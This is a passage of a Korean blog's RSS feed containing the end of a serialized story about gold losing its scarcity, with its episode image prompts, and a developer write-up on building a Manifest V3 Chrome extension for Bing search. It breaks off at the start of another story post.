&lt;p data-ke-size=&quot;size16&quot;&gt;몇 주쯤 지난 어느 평일 아침,&lt;br /&gt;민서는 평소처럼 출근해 메일함을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각종 보고서, 회의 일정, 해외 중앙은행 뉴스 요약들이 쏟아져 들어와 있었고,&lt;br /&gt;그 사이에 비교적 수수한 제목 하나가 눈에 들어왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;소행성 샘플 이미지 공유 &amp;ndash; 참고용&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보낸 사람은 진우였다.&lt;br /&gt;공식 기관 메일 주소로 온 걸 보니, 회사 측 승인을 받아 송부한 자료인 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메일을 열어 첨부파일을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 이미지는, 이전에 받았던 것과 비슷한 암석 샘플 사진.&lt;br /&gt;하지만 두 번째 이미지는 조금 달랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검은 암석 대신,&lt;br /&gt;실험실 조명 아래에서 반짝이는 작은 금속 덩어리.&lt;br /&gt;아직 금괴라고 부르긴 이른, 손가락 마디만 한 크기의 조각이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;우리가 소행성에서 처음으로 분리해 낸 금속 덩어리.&lt;br /&gt;순도 분석은 더 해봐야 하지만,&lt;br /&gt;어쨌든 이건 &amp;lsquo;지구 밖에서 시작된 금&amp;rsquo;이라는 점에서 의미 있다고 팀장이 그러더라.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메일 본문에는 그렇게 적혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맨 아래에는 한 줄이 더 붙어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;언젠가,&lt;br /&gt;네가 말한 대로&lt;br /&gt;천연 금, 랩그로운 금, 우주 금&lt;br /&gt;세 종류를 한 줄에 놓을 날이 오겠지.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 모니터 화면을 한동안 바라보다가,&lt;br /&gt;천천히 손을 뻗어 프린트 버튼을 눌렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프린터에서 뽑혀 나온 사진을 조심스럽게 반으로 접어,&lt;br /&gt;서랍 깊숙한 곳에 넣어 두었다.&lt;br /&gt;그 옆에는, 예전에 주머니에 넣고 다니던 종이 메모가 함께 들어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;What happens when gold is no longer scarce?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열지 않아도,&lt;br /&gt;그 문장의 모양을 손끝이 기억하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서랍을 닫고 나서야,&lt;br /&gt;민서는 모니터 속 숫자들로 다시 눈을 돌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금 시세 차트는 오늘도 오르고 내리기를 반복하고 있었다.&lt;br /&gt;뉴스 헤드라인은 여전히 랩그로운 금과 전통 금광,&lt;br /&gt;우주 자원과 탄소중립,&lt;br /&gt;디지털 통화와 통화정책 사이를 오갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변한 것도, 변하지 않은 것도 많았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 마우스를 움직여,&lt;br /&gt;새 문서 창을 하나 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목 줄에,&lt;br /&gt;그는 조심스럽게 몇 글자를 입력했다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;「금이 더 이상 특별하지 않은 날」&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커서가 깜빡였다.&lt;br /&gt;그 아래에 첫 문장을 어떻게 쓸지 잠시 망설이던 그는,&lt;br /&gt;어느새 떠오르는 한 문장을 그대로 적어 내려갔다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&amp;ldquo;우리가 빛난다고 믿었던 것들은,&lt;br /&gt;어쩌면 그 안에 든 금 때문이 아니라,&lt;br /&gt;한동안 그걸 붙들고 버틴 우리 때문이었는지도 모른다.&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 문장을 쓰고 나서야,&lt;br /&gt;민서는 살짝 숨을 내쉬었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 중앙은행을 위한 보고서도,&lt;br /&gt;시장 참가자를 위한 리포트도 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥,&lt;br /&gt;금고를 드나드는 한 사람과,&lt;br /&gt;소행성 궤도를 계산하는 한 사람이&lt;br /&gt;같은 시대를 살면서 나눈 생각의 기록일 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;그리고 어쩌면,&lt;br /&gt;이런 기록 하나하나가&lt;br /&gt;금 이후의 시대에 남는&lt;br /&gt;진짜 희소성이 될지도 모르겠다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 그렇게 생각하며,&lt;br /&gt;다음 문장을 천천히 이어가기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;화수한 줄 소개썸네일 이미지 생성 프롬프트태그(해시 없이, 쉼표 구분)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;1화&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;중앙은행 지하 금고에서, 합성 금의 등장을 목격한 애널리스트가 금의 시대가 흔들리는 조짐을 본다&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;&amp;ldquo;조명이 어둡게 내려앉은 거대한 지하 금고 내부를 사실적으로 그려 주세요. 양쪽으로 끝없이 이어진 금괴 선반들이 규칙적으로 배열되어 있고, 중앙에는 정장을 입은 한국인 남성이 태블릿을 든 채 금괴를 바라보고 있습니다. 금괴들 사이 한 칸에는 &amp;lsquo;LAB-GROWN&amp;rsquo;이라고 작은 라벨이 붙은 금괴가 있어, 전통적인 금괴들 사이에서 미묘하게 이질적인 느낌을 줍니다. 전체 분위기는 차갑고 절제된 금융 스릴러 같은 톤으로, 색감은 회색 콘크리트와 금빛이 강하게 대비되도록 표현해 주세요.&amp;rdquo;&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;연금술이후의금, 중앙은행, 지하금고, 랩그로운골드, 금의희소성, 경제소설, 금융SF, 한국SF, 위기와안전자산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;2화&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;금값 그래프와 합성 금 보고서 사이에서, 준비자산과 신뢰의 기준이 흔들리는 회의실의 풍경이 펼쳐진다&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;&amp;ldquo;현대적인 회의실 안, 스크린에 금 가격 그래프와 두 개의 교차하는 비용 곡선(전통 금광 vs 합성 금)이 크게 투영되어 있는 장면을 그려 주세요. 책상에는 인쇄된 보고서와 노트북이 놓여 있고, 정장을 입은 여러 인물이 진지한 표정으로 그래프를 바라보고 있습니다. 전면에는 특히 한 한국인 남성이 펜을 쥔 손으로 그래프의 교차 지점을 가리키며 설명하는 듯한 포즈를 취하고 있습니다. 전체적으로 차분한 색감 속에서 그래프의 붉은 선과 파란 선이 강하게 눈에 들어오도록, 경제 다큐멘터리 삽화 같은 스타일로 표현해 주세요.&amp;rdquo;&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;준비자산, 금시세, 경제회의, 합성금보고서, 통화정책, 금융위기기억, 금과심리, 경제에세이, 정책딜레마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;3화&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;IMF와 2008년의 기억을 가진 두 친구가 카페에서 금과 우주, 희소성과 믿음에 대해 밤늦게까지 이야기한다&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;&amp;ldquo;도시 야경이 보이는 유리창 옆 카페 내부를 따뜻한 톤으로 그려 주세요. 창가 자리에서 한국인 남성 두 명(한 명은 셔츠 차림, 한 명은 캐주얼 재킷)이 마주 앉아 커피를 앞에 두고 진지하게 대화하고 있습니다. 테이블 위에는 노트북, 종이 메모, 스마트폰에 떠 있는 금 시세 그래프가 어렴풋이 보이게 해 주세요. 창 밖에는 흐릿한 도시 불빛과 아주 옅게 떠 있는 달이 보이며, 전체 분위기는 현실적인 청년 둘의 대화 속에 SF적 상상력이 스며든 느낌으로 표현해 주세요.&amp;rdquo;&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;카페대화, IMF기억, 2008위기, 금투자심리, 우주자원, 친구이야기, 현실SF, 대사중심소설, 희소성과믿음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;4화&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;우주 자원 포럼과 소행성 샘플 메일을 지나, 주인공은 &amp;lsquo;금이 더 이상 특별하지 않은 날&amp;rsquo;을 글로 남기기 시작한다&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;&amp;ldquo;컨벤션 센터 로비에서 열리는 &amp;lsquo;우주 자원 포럼&amp;rsquo; 현장을 넓게 잡아 그려 주세요. 배경에는 &amp;lsquo;우주 자원과 통화 체계의 미래&amp;rsquo;라는 문구가 적힌 대형 배너와 정부&amp;middot;우주기업&amp;middot;은행 로고들이 보이고, 전경에는 이름표를 단 한국인 남성 둘이 나란히 서서 무대 쪽을 바라보고 있습니다. 한쪽에는 소행성 채굴을 상징하는 작은 우주선 모형이나 소행성 모형이 전시되어 있고, 반대쪽에는 금괴 모양의 디스플레이가 배치되어 있어 &amp;lsquo;금&amp;rsquo;과 &amp;lsquo;우주 자원&amp;rsquo;이 시각적으로 대비되도록 해 주세요. 분위기는 미래 경제 포럼 같은 현실적인 느낌으로 표현해 주세요.&amp;rdquo;&lt;/td&gt;
&lt;td style=&quot;text-align: left;&quot;&gt;우주자원포럼, 소행성채굴, 랩그로운골드, 금이후의시대, 경제SF, 한국중편, 통화체계미래, 준비자산논의, 작가의시선&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/218</guid>
      <comments>https://thepin.tistory.com/218#entry218comment</comments>
      <pubDate>Sun, 8 Mar 2026 17:47:19 +0900</pubDate>
    </item>
    <item>
      <title>[개발기] Bing Search Extension: 나만의 검색 흐름을 완성하다 (MyVibecoding)</title>
      <link>https://thepin.tistory.com/216</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[개발기] Bing Search Extension: 나만의 검색 흐름을 완성하다 (MyVibecoding)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일:&lt;/b&gt; &lt;s&gt;2024년 5월 14일&lt;/s&gt; 2026년 3월 어느날&lt;br /&gt;&lt;b&gt;카테고리:&lt;/b&gt; Chrome Extension, Web Development&lt;br /&gt;&lt;b&gt;태그:&lt;/b&gt; #ChromeExtension #ManifestV3 #JavaScript #BingSearch #MyVibecoding&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/MyJYP/AutoBingSearchExtension&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/MyJYP/AutoBingSearchExtension&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1772381070670&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - MyJYP/AutoBingSearchExtension: Auto Bing Search Extension&quot; data-og-description=&quot;Auto Bing Search Extension. Contribute to MyJYP/AutoBingSearchExtension development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/MyJYP/AutoBingSearchExtension&quot; data-og-url=&quot;https://github.com/MyJYP/AutoBingSearchExtension&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Jvg3E/dJMb9c9vkGg/a169d4ODIHjwYnyjqXkxIK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cc927u/dJMb9gxiQmY/Ph5KFGWy5sHxTIlvtxMO00/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/MyJYP/AutoBingSearchExtension&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/MyJYP/AutoBingSearchExtension&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Jvg3E/dJMb9c9vkGg/a169d4ODIHjwYnyjqXkxIK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cc927u/dJMb9gxiQmY/Ph5KFGWy5sHxTIlvtxMO00/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - MyJYP/AutoBingSearchExtension: Auto Bing Search Extension&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Auto Bing Search Extension. Contribute to MyJYP/AutoBingSearchExtension development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 프롤로그: 왜 또 다른 검색 도구인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자로서, 그리고 헤비 웹 유저로서 우리는 하루에도 수백 번씩 검색창을 두드립니다. 구글링이 일상이지만, 때로는 Bing의 검색 결과나 AI 기능(Copilot)이 필요할 때가 있습니다. 하지만 브라우저 탭을 새로 열고, 주소를 입력하고, 검색어를 다시 타이핑하는 과정은 미세하지만 분명한 '흐름(Flow)'의 끊김을 유발합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;MyVibecoding&quot;&lt;/b&gt;이라는 슬로건 아래, 저는 코딩과 웹 서핑의 리듬을 깨지 않는 도구를 만들고 싶었습니다. 단순히 검색 엔진을 연결하는 것을 넘어, 내가 원하는 방식대로 작동하는 &lt;b&gt;Bing Search Extension&lt;/b&gt; 개발 프로젝트는 그렇게 시작되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 Chrome Manifest V3 환경에서 어떻게 효율적인 검색 익스텐션을 구축했는지, 그 기술적인 여정을 상세히 회고해보고자 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 프로젝트 목표 및 요구사항 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본격적인 코딩에 앞서 정의한 핵심 목표는 다음과 같습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1. 핵심 요구사항 (Requirements)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;접근성 (Accessibility):&lt;/b&gt; 어떤 탭에 있더라도 단축키나 아이콘 클릭 한 번으로 검색 창을 호출할 수 있어야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;속도 (Performance):&lt;/b&gt; 무거운 라이브러리 없이 바닐라 JS 기반으로 동작하여 브라우저 메모리 점유율을 최소화한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컨텍스트 통합 (Context Integration):&lt;/b&gt; 웹페이지 내의 텍스트를 드래그했을 때, 우클릭 메뉴(Context Menu)를 통해 즉시 검색이 가능해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 (Security):&lt;/b&gt; Chrome의 최신 보안 정책인 Manifest V3를 완벽하게 준수한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 요구사항은 단순해 보이지만, V3로 넘어오면서 바뀐 &lt;code&gt;Service Worker&lt;/code&gt;의 생명주기 관리나 &lt;code&gt;Content Script&lt;/code&gt;의 격리된 환경을 고려할 때 꽤 까다로운 기술적 도전 과제들을 포함하고 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 기술적 아키텍처 (Technical Architecture)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트는 Chrome Extension의 표준 아키텍처를 따르되, 최적화를 위해 몇 가지 패턴을 적용했습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. Manifest V3의 도입&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거 V2 시절의 &lt;code&gt;background page&lt;/code&gt;는 상주형 프로세스였지만, V3의 &lt;code&gt;Service Worker&lt;/code&gt;는 이벤트 기반으로 동작하며 필요할 때만 깨어납니다. 이는 메모리 효율성 측면에서는 훌륭하지만, 상태(State)를 유지해야 하는 기능 구현에는 제약이 따릅니다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;// manifest.json 설정 예시
{
  &quot;manifest_version&quot;: 3,
  &quot;name&quot;: &quot;Bing Search Extension&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;permissions&quot;: [&quot;contextMenus&quot;, &quot;storage&quot;, &quot;activeTab&quot;],
  &quot;background&quot;: {
    &quot;service_worker&quot;: &quot;background.js&quot;
  },
  ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 메시지 패싱 (Message Passing) 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팝업(Popup), 백그라운드(Background), 그리고 실제 웹페이지에 주입되는 콘텐츠 스크립트(Content Script) 간의 통신은 익스텐션의 핵심입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Popup -&amp;gt; Background:&lt;/b&gt; 검색어 전달 및 검색 기록 저장 요청.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Background -&amp;gt; New Tab:&lt;/b&gt; Bing 검색 결과 페이지 생성.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Content Script -&amp;gt; Background:&lt;/b&gt; 드래그된 텍스트 정보 전달.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 이 통신 과정을 비동기적으로 처리하기 위해 &lt;code&gt;chrome.runtime.sendMessage&lt;/code&gt;와 &lt;code&gt;chrome.runtime.onMessage&lt;/code&gt; 리스너를 체계적으로 구조화했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 주요 기능 구현 과정 (Implementation Details)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1. 컨텍스트 메뉴(우클릭 검색) 구현&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 텍스트를 드래그했을 때만 메뉴가 나타나도록 하는 것은 UX 측면에서 매우 중요합니다. &lt;code&gt;chrome.contextMenus.create&lt;/code&gt; API를 사용하여 브라우저가 시작될 때 메뉴를 등록하고, &lt;code&gt;onclick&lt;/code&gt; 이벤트를 핸들링하여 선택된 텍스트(&lt;code&gt;selectionText&lt;/code&gt;)를 Bing 쿼리 URL로 변환했습니다.&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;// background.js 일부
chrome.runtime.onInstalled.addListener(() =&amp;gt; {
  chrome.contextMenus.create({
    id: &quot;bing-search&quot;,
    title: &quot;Bing에서 '%s' 검색&quot;,
    contexts: [&quot;selection&quot;],
  });
});&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2. 팝업 UI와 검색 로직&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팝업창은 HTML/CSS로 구성되며, 사용자가 익스텐션 아이콘을 눌렀을 때 나타납니다. 여기서 중요한 점은 &lt;b&gt;'포커스 관리'&lt;/b&gt;입니다. 팝업이 열리자마자 input 창에 포커스가 가야 키보드에서 손을 떼지 않고 검색할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 개발 중 마주친 이슈와 해결 (Troubleshooting)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.1. CSP (Content Security Policy) 위반 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기 개발 단계에서 인라인 스크립트(HTML 내의 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;)를 사용하려다 V3의 강화된 보안 정책에 의해 차단되는 경험을 했습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;문제:&lt;/b&gt; &lt;code&gt;Refused to execute inline script...&lt;/code&gt; 에러 발생.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해결:&lt;/b&gt; 모든 자바스크립트 로직을 별도의 &lt;code&gt;.js&lt;/code&gt; 파일로 분리하고, HTML에서는 이를 로드하는 방식으로 전면 리팩토링했습니다. 이는 코드의 유지보수성을 높이는 결과도 가져왔습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.2. Service Worker의 비활성화(Inactivity) 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Service Worker는 일정 시간 사용하지 않으면 유휴 상태(Idle)로 전환됩니다. 이로 인해 간혹 컨텍스트 메뉴 클릭 시 반응이 늦거나 이벤트가 씹히는 현상이 발생할 수 있습니다. 이를 방지하기 위해 중요 이벤트 리스너는 최상위 레벨에 등록하여 워커가 깨어날 때 즉시 바인딩되도록 조치했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. MyVibecoding: 나만의 코딩 철학&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트의 폴더명에도 들어있는 &lt;code&gt;MyVibecoding&lt;/code&gt;은 단순한 네이밍이 아닙니다. 이는 &lt;b&gt;&quot;도구가 나의 생각 속도를 따라와야 한다&quot;&lt;/b&gt;는 철학입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 검색 방식이 [마우스 이동 -&amp;gt; 클릭 -&amp;gt; 타이핑 -&amp;gt; 엔터]의 4단계였다면, 이 익스텐션을 통해 [단축키 -&amp;gt; 타이핑 -&amp;gt; 엔터] 또는 [드래그 -&amp;gt; 우클릭]으로 단계를 축소했습니다. 1초의 차이지만, 하루 100번이면 100초, 1년이면 엄청난 시간이 절약됩니다. 무엇보다 '몰입'이 깨지지 않는다는 점이 가장 큰 가치입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 향후 계획 (Roadmap)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 버전 1.0.0은 기본기에 충실하지만, 앞으로 다음과 같은 기능들을 추가할 예정입니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;AI 요약 기능 통합:&lt;/b&gt; Bing Chat(Copilot) API와 연동하여 검색 결과 요약을 팝업에서 바로 확인.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다크 모드 지원:&lt;/b&gt; 시스템 설정에 따른 UI 테마 자동 변경.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;음성 검색:&lt;/b&gt; 타이핑조차 귀찮은 순간을 위한 Web Speech API 도입.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 마치며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작은 크롬 익스텐션 하나를 만드는 과정이었지만, 그 안에는 웹의 동작 원리, 브라우저의 보안 정책, 그리고 사용자 경험(UX)에 대한 깊은 고민이 담겨 있었습니다. 이 프로젝트가 저와 같은 '프로 검색러'들에게 조금이나마 도움이 되기를 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Happy Coding, Happy Searching!&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3100&quot; data-origin-height=&quot;2354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yw27V/dJMcahjfKhN/MAZEc2qGDpHw6cChYpHPM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yw27V/dJMcahjfKhN/MAZEc2qGDpHw6cChYpHPM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yw27V/dJMcahjfKhN/MAZEc2qGDpHw6cChYpHPM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyw27V%2FdJMcahjfKhN%2FMAZEc2qGDpHw6cChYpHPM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3100&quot; height=&quot;2354&quot; data-origin-width=&quot;3100&quot; data-origin-height=&quot;2354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChromeExtension #ManifestV3 #JavaScript #BingSearch #MyVibecoding&lt;/p&gt;</description>
      <category>VibeCoding</category>
      <category>Auto BingSearch</category>
      <category>AutoBingSearch</category>
      <category>BingSearch</category>
      <category>ChromeExtension</category>
      <category>JavaScript</category>
      <category>ManifestV3</category>
      <category>MyVibecoding</category>
      <category>바이브코딩</category>
      <category>빙검색프로그램</category>
      <category>확장프로그램</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/216</guid>
      <comments>https://thepin.tistory.com/216#entry216comment</comments>
      <pubDate>Mon, 2 Mar 2026 01:05:08 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼</title>
      <link>https://thepin.tistory.com/215</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;965&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQtI74/dJMb99ZGvHn/R648pYHvo6441H4Lu6CwP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQtI74/dJMb99ZGvHn/R648pYHvo6441H4Lu6CwP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQtI74/dJMb99ZGvHn/R648pYHvo6441H4Lu6CwP1/img.png&quot; 